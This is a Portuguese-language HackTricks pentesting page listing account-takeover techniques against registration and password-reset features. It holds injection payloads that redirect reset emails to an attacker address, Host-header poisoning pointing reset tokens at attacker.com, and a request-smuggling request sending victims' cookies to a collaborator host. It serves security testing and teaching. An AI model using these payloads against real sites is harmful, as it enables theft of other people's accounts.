hacktricks/pentesting-web/registration-vulnerabilities.md

11 KiB

Vulnerabilidades de Registro e Apropriação

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

WhiteIntel

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.

O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares de roubo de informações.

Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:

{% embed url="https://whiteintel.io" %}


Apropriação de Registro

Registro Duplicado

  • Tente gerar usando um nome de usuário existente
  • Verifique variando o e-mail:
    • maiúsculas
    • +1@
    • adicione algum ponto no e-mail
    • caracteres especiais no nome do e-mail (%00, %09, %20)
    • Coloque caracteres em preto após o e-mail: test@test.com a
    • vítima@gmail.com@atacante.com
    • vítima@atacante.com@gmail.com

Enumeração de Usuário

Verifique se você pode descobrir quando um nome de usuário já foi registrado dentro da aplicação.

Política de Senhas

Ao criar um usuário, verifique a política de senhas (verifique se é possível usar senhas fracas).
Nesse caso, você pode tentar forçar credenciais.

Injeção de SQL

Verifique esta página para aprender como tentar apropriação de contas ou extrair informações via Injeções de SQL em formulários de registro.

Apropriações de Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnerabilidades de SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Alterar E-mail

Após o registro, tente alterar o e-mail e verifique se essa alteração é validada corretamente ou se pode ser alterada para e-mails arbitrários.

Mais Verificações

  • Verifique se você pode usar e-mails descartáveis
  • Senha longa (>200) leva a DoS
  • Verifique limites de taxa na criação de contas
  • Use username@burp_collab.net e analise o callback

Apropriação de Redefinição de Senha

Vazamento de Token de Redefinição de Senha Via Referenciador

  1. Solicite a redefinição de senha para seu endereço de e-mail
  2. Clique no link de redefinição de senha
  3. Não altere a senha
  4. Clique em qualquer site de terceiros (por exemplo: Facebook, Twitter)
  5. Interceptar a solicitação no proxy Burp Suite
  6. Verifique se o cabeçalho referer está vazando o token de redefinição de senha.

Envenenamento de Redefinição de Senha

  1. Interceptar a solicitação de redefinição de senha no Burp Suite
  2. Adicione ou edite os seguintes cabeçalhos no Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Encaminhe a solicitação com o cabeçalho modificado
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Procure por uma URL de redefinição de senha com base no host header como: https://attacker.com/reset-password.php?token=TOKEN

Redefinição de Senha Via Parâmetro de E-mail

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR em Parâmetros da API

  1. O atacante deve fazer login com sua conta e acessar a funcionalidade de Alterar senha.
  2. Inicie o Burp Suite e Interceptar a requisição.
  3. Envie-a para a aba repeater e edite os parâmetros: ID do usuário/email
    powershell POST /api/changepass [...] ("form": {"email":"vítima@email.com","password":"senhasegura"})

Token de Redefinição de Senha Fraco

O token de redefinição de senha deve ser gerado aleatoriamente e único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo, em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.

  • Timestamp
  • ID do Usuário
  • E-mail do Usuário
  • Nome e Sobrenome
  • Data de Nascimento
  • Criptografia
  • Apenas números
  • Sequência de token pequena (caracteres entre [A-Z,a-z,0-9])
  • Reutilização de token
  • Data de expiração do token

Vazamento de Token de Redefinição de Senha

  1. Acione uma solicitação de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
  2. Inspecione a resposta do servidor e verifique o resetToken
  3. Em seguida, use o token em uma URL como https://exemplo.com/v3/user/password/reset?resetToken=[O_RESET_TOKEN]&email=[O_EMAIL]

Redefinição de Senha Via Colisão de Nome de Usuário

  1. Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. Por exemplo: "admin "
  2. Solicite uma redefinição de senha com seu nome de usuário malicioso.
  3. Use o token enviado para seu e-mail e redefina a senha da vítima.
  4. Conecte-se à conta da vítima com a nova senha.

A plataforma CTFd estava vulnerável a esse ataque.
Veja: CVE-2020-7245

Assunção de Conta Via Cross Site Scripting

  1. Encontre um XSS dentro do aplicativo ou de um subdomínio se os cookies estiverem limitados ao domínio pai: *.dominio.com
  2. Vaze o cookie de sessões atual
  3. Autentique-se como o usuário usando o cookie

Assunção de Conta Via HTTP Request Smuggling

  1. Use o smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Crie uma requisição que sobrescreverá o POST / HTTP/1.1 com os seguintes dados:
    GET http://algo.burpcollaborator.net HTTP/1.1 X: com o objetivo de redirecionar as vítimas para o burpcollab e roubar seus cookies\
  3. A requisição final pode se parecer com o seguinte:
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Tomada de Conta da Conta via CSRF

  1. Crie um payload para o CSRF, por exemplo: "Formulário HTML com envio automático para alteração de senha"
  2. Envie o payload

Tomada de Conta da Conta via JWT

O Token JSON Web pode ser usado para autenticar um usuário.

  • Edite o JWT com outro ID de Usuário / E-mail
  • Verifique a assinatura fraca do JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Referências

WhiteIntel

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.

O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares de roubo de informações.

Você pode verificar o site deles e experimentar o mecanismo de busca deles de forma gratuita em:

{% embed url="https://whiteintel.io" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: